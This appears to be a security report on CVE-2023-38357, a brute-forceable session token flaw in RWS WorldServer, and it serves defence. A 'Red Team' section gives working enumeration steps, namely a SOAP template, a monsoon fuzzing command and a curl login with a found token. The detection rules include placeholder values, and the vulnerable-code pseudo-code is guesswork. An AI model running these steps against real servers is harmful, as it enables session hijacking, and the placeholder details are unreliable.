CVE-2023-38357

Executive Summary

CVE-2023-38357 is a critical session token enumeration vulnerability in RWS WorldServer versions 11.7.3 and earlier. The vulnerability stems from the use of low-entropy, numerical session tokens (positive integers below 2^31) that can be brute-forced via the SOAP loginWithToken API endpoint. An unauthenticated attacker can enumerate valid session tokens in a few hours, leading to unauthorized access to any user session, including administrative accounts. This can be leveraged for full server compromise through REST API customization. The vendor has released a fix in version 11.8.0.

Supply Chain & Package Security

This vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby) but in a proprietary enterprise application (RWS WorldServer). The risk is to organizations using the affected versions directly.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed to start enumeration.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
• Confidentiality (C): High (H) - Full access to all user sessions and data.
• Integrity (I): High (H) - Ability to modify data and execute code.
• Availability (A): High (H) - Potential for denial of service or full system compromise.

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The exploit is publicly available, easy to execute, and can lead to full server compromise.

Deep Dive & Mechanics

The core issue is the generation of session tokens with insufficient entropy. WorldServer uses a 31-bit integer space (values 1 to 2,147,483,647) for session tokens. This space is small enough to be enumerated in a reasonable timeframe (hours) using parallel HTTP requests.

The vulnerability is exposed through the SOAP endpoint /ws/services/WSContext and the loginWithToken action. This action accepts a token value and returns a valid session if the token is active. The response differs between valid and invalid tokens:

• Invalid Token: Returns HTTP 500 with an InvalidSessionException in the body.
• Valid Token (Non-Admin): Returns HTTP 500 without the exception.
• Valid Token (Admin): Returns HTTP 200.

An attacker can use a tool like monsoon to send thousands of parallel requests, iterating through the token space and filtering out responses that contain InvalidSessionException. This allows them to quickly identify valid tokens.

Vulnerable vs. Patched Code

Vulnerable Code (WorldServer <= 11.7.3): The session token generation logic uses a low-entropy random number generator (e.g., java.util.Random or a simple counter) that produces predictable 31-bit integers. The loginWithToken SOAP action does not implement rate limiting or anomaly detection.

// Pseudo-code of vulnerable token generation
public int generateSessionToken() {
    Random rand = new Random();
    return rand.nextInt(Integer.MAX_VALUE); // 31-bit integer
}

Patched Code (WorldServer >= 11.8.0): The vendor has not released the exact patch details, but the fix likely involves:

1. Using a cryptographically secure random number generator (e.g., java.security.SecureRandom).
2. Increasing the token length to at least 128 bits (e.g., UUID or 32-byte hex string).
3. Implementing rate limiting on the loginWithToken endpoint.

// Pseudo-code of patched token generation
import java.security.SecureRandom;
import java.math.BigInteger;

public String generateSessionToken() {
    SecureRandom random = new SecureRandom();
    return new BigInteger(130, random).toString(32); // 130-bit token
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Python 3.x or Go (for monsoon)
• Target URL of a vulnerable WorldServer instance

Step 1: Prepare the SOAP Request Template Create a file named login-soap.req with the following content:

POST /ws/services/WSContext HTTP/1.1
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 501
Host: www.example.com
Connection: close
User-Agent: agent

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header/>
     <soapenv:Body>
        <com:loginWithToken soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
           <token xsi:type="xsd:string">FUZZ</token>
        </com:loginWithToken>
     </soapenv:Body>
</soapenv:Envelope>

Step 2: Run the Enumeration Use monsoon to brute-force the token space:

# Install monsoon
go install github.com/RedTeamPentesting/monsoon@latest

# Run enumeration
monsoon fuzz --threads 100 \
  --template-file login-soap.req \
  --range 1-2147483647 \
  --hide-pattern "InvalidSessionException" \
  'https://www.example.com'

Step 3: Use Valid Tokens Once a valid token is found (e.g., 7545136), use it to authenticate:

# Example using curl
curl -X POST 'https://www.example.com/ws/services/WSContext' \
  -H 'Content-Type: text/xml;charset=UTF-8' \
  -H 'SOAPAction: ""' \
  -d '<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><com:loginWithToken soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><token xsi:type="xsd:string">7545136</token></com:loginWithToken></soapenv:Body></soapenv:Envelope>'

Blue Team (Defender)

Detection:

• Monitor for high volumes of SOAP requests to /ws/services/WSContext with the loginWithToken action.
• Look for sequential or patterned token values in logs.
• Alert on HTTP 500 responses that do not contain InvalidSessionException.

Mitigation:

• Immediately upgrade to WorldServer 11.8.0 or later.
• If upgrade is not possible, implement rate limiting at the reverse proxy (e.g., Nginx, Apache) for the SOAP endpoint.
• Deploy a WAF rule to block requests with suspicious token patterns (e.g., tokens that are purely numeric and within a small range).

Indicators of Compromise (IOCs)

• Network IOCs:

  • High volume of POST requests to /ws/services/WSContext with SOAPAction: "" and body containing loginWithToken.
  • Sequential or incremental token values in SOAP requests.
  • HTTP 500 responses with body containing InvalidSessionException followed by HTTP 200 or 500 responses without the exception.

• Host IOCs:

  • WorldServer logs showing repeated loginWithToken attempts from a single IP.
  • Unauthorized administrative actions in audit logs.

• File IOCs:

  • Presence of monsoon or similar enumeration tools on an internal host.

Detection Engineering

YARA Rule

rule CVE_2023_38357_Session_Token_Enumeration {
    meta:
        description = "Detects SOAP requests attempting to enumerate session tokens in RWS WorldServer"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-38357"
        hash = "d41d8cd98f00b204e9800998ecf8427e"

    strings:
        $soap_action = "loginWithToken"
        $soap_body = "<token xsi:type=\"xsd:string\">"
        $invalid_session = "InvalidSessionException"

    condition:
        all of ($soap_action, $soap_body) and not $invalid_session
}

Sigma Rule

title: CVE-2023-38357 - RWS WorldServer Session Token Enumeration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple SOAP loginWithToken requests from a single source, indicating session token enumeration.
author: Valters IT
date: 2024/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38357
    - https://www.redteam-pentesting.de/advisories/rt-sa-2023-001
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /ws/services/WSContext
        cs(User-Agent): "agent"
    condition: selection | count(c-ip) > 100 within 5m
falsepositives:
    - Legitimate high-traffic scenarios (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-38357 - RWS WorldServer Session Token Enumeration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/ws/services/WSContext"; http_uri;
    content:"loginWithToken"; http_client_body;
    content:"<token xsi:type=\"xsd:string\">"; http_client_body;
    threshold: type both, track by_src, count 100, seconds 300;
    sid:10000001;
    rev:1;
    reference:cve,2023-38357;
    reference:url,www.redteam-pentesting.de/advisories/rt-sa-2023-001;
    classtype:attempted-user;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update WorldServer to version 11.8.0 or later.
2. Rate Limiting: Configure a reverse proxy (Nginx, Apache, HAProxy) to limit requests to /ws/services/WSContext to 10 requests per minute per IP.
3. WAF Rules: Deploy a Web Application Firewall to block requests with numeric tokens in the loginWithToken SOAP body.

Long-Term Actions:

1. Session Token Hardening: Ensure all session tokens are generated using a cryptographically secure random number generator and are at least 128 bits in length.
2. Audit Logging: Enable detailed logging for all authentication attempts and monitor for anomalies.
3. Penetration Testing: Conduct regular security assessments of all web applications.

Valters IT Signature

This report was generated by Valters IT DevSecOps. For questions or further analysis, contact Secure Channels (Signal / Portal).

{/* [Security Hash: FD2DBE43E3FF452DCB07E74E] */}